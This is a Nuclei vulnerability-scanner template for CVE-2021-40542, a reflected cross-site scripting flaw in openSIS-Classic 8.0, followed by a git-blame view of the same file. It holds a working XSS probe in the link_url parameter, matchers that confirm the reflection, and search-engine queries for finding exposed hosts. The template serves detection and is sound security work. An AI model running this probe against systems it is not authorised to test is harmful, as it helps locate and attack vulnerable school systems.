nuclei-templates/http/cves/2021/CVE-2021-40542.yaml

id: CVE-2021-40542

info:
  name: Opensis-Classic 8.0 - Cross-Site Scripting
  author: alph4byt3
  severity: medium
  description: |
    Opensis-Classic Version 8.0 is affected by cross-site scripting. An unauthenticated user can inject and execute JavaScript code through the link_url parameter in Ajax_url_encode.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    To mitigate this vulnerability, it is recommended to apply the latest security patches or updates provided by the vendor.
  reference:
    - https://github.com/OS4ED/openSIS-Classic/issues/189
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40542
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-40542
    cwe-id: CWE-79
    epss-score: 0.00342
    epss-percentile: 0.71484
    cpe: cpe:2.3:a:os4ed:opensis:8.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: os4ed
    product: opensis
    shodan-query: http.title:"openSIS"
    fofa-query: title="opensis"
    google-query: intitle:"opensis"
  tags: cve2021,cve,xss,opensis,os4ed

http:
  - method: GET
    path:
      - '{{BaseURL}}/Ajax_url_encode.php?link_url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201bf834abd657937ae412fc33a7d71f6d59db79266d9801d409f0d7d74274f0ad022100aefd147e291833eaf15cba8577654e79cf08eaacfc518e271ddb56bf1246c490:922c64590222798bb761d5b6d8e72950
Create CVE-2021-40542.yaml 2021-11-25 18:22:30 +00:00			`id: CVE-2021-40542`

			`info:`
Normalization of Cross-Site Scripting names (#5329) 2022-09-09 17:34:37 +00:00			`name: Opensis-Classic 8.0 - Cross-Site Scripting`
Create CVE-2021-40542.yaml 2021-11-25 18:22:30 +00:00			`author: alph4byt3`
			`severity: medium`
Dashboard Content Enhancements (#4268) Dashboard Content Enhancements 2022-04-29 19:58:07 +00:00			`description: \|`
			`Opensis-Classic Version 8.0 is affected by cross-site scripting. An unauthenticated user can inject and execute JavaScript code through the link_url parameter in Ajax_url_encode.php.`
Added Impact 2023-09-27 15:51:13 +00:00			`impact: \|`
			`Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected application.`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`remediation: \|`
			`To mitigate this vulnerability, it is recommended to apply the latest security patches or updates provided by the vendor.`
Create CVE-2021-40542.yaml 2021-11-25 18:22:30 +00:00			`reference:`
			`- https://github.com/OS4ED/openSIS-Classic/issues/189`
			`- https://nvd.nist.gov/vuln/detail/CVE-2021-40542`
TemplateMan Update [Mon Jan 29 17:11:13 UTC 2024] :robot: 2024-01-29 17:11:14 +00:00			`- https://github.com/ARPSyndicate/cvemon`
			`- https://github.com/ARPSyndicate/kenzer-templates`
Create CVE-2021-40542.yaml 2021-11-25 18:22:30 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 6.1`
Classification CVE id fix in CVE-2021-40542.yaml 2022-04-22 16:21:28 +00:00			`cve-id: CVE-2021-40542`
Create CVE-2021-40542.yaml 2021-11-25 18:22:30 +00:00			`cwe-id: CWE-79`
product/queries updated 2024-05-31 19:23:20 +00:00			`epss-score: 0.00342`
			`epss-percentile: 0.71484`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`cpe: cpe:2.3:a:os4ed:opensis:8.0:::::::*`
Update CVE-2021-40542.yaml 2022-07-10 09:37:25 +00:00			`metadata:`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`max-request: 1`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: os4ed`
			`product: opensis`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`shodan-query: http.title:"openSIS"`
product/queries updated 2024-05-31 19:23:20 +00:00			`fofa-query: title="opensis"`
			`google-query: intitle:"opensis"`
auto tagging via templateman 2024-01-14 09:21:50 +00:00			`tags: cve2021,cve,xss,opensis,os4ed`
Create CVE-2021-40542.yaml 2021-11-25 18:22:30 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create CVE-2021-40542.yaml 2021-11-25 18:22:30 +00:00			`- method: GET`
			`path:`
Update and rename CVE-2021-40542.yaml to cves/2021/CVE-2021-40542.yaml 2021-12-03 07:12:37 +00:00			`- '{{BaseURL}}/Ajax_url_encode.php?link_url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'`
Create CVE-2021-40542.yaml 2021-11-25 18:22:30 +00:00
			`matchers-condition: and`
			`matchers:`
			`- type: word`
			`part: body`
			`words:`
Update and rename CVE-2021-40542.yaml to cves/2021/CVE-2021-40542.yaml 2021-12-03 07:12:37 +00:00			`- "</script><script>alert(document.domain)</script>"`
Create CVE-2021-40542.yaml 2021-11-25 18:22:30 +00:00
			`- type: word`
			`part: header`
			`words:`
			`- text/html`

			`- type: status`
			`status:`
			`- 200`
Auto Template Signing [Mon Mar 25 11:57:16 UTC 2024] :robot: 2024-03-25 11:57:16 +00:00			`# digest: 4a0a0047304502201bf834abd657937ae412fc33a7d71f6d59db79266d9801d409f0d7d74274f0ad022100aefd147e291833eaf15cba8577654e79cf08eaacfc518e271ddb56bf1246c490:922c64590222798bb761d5b6d8e72950`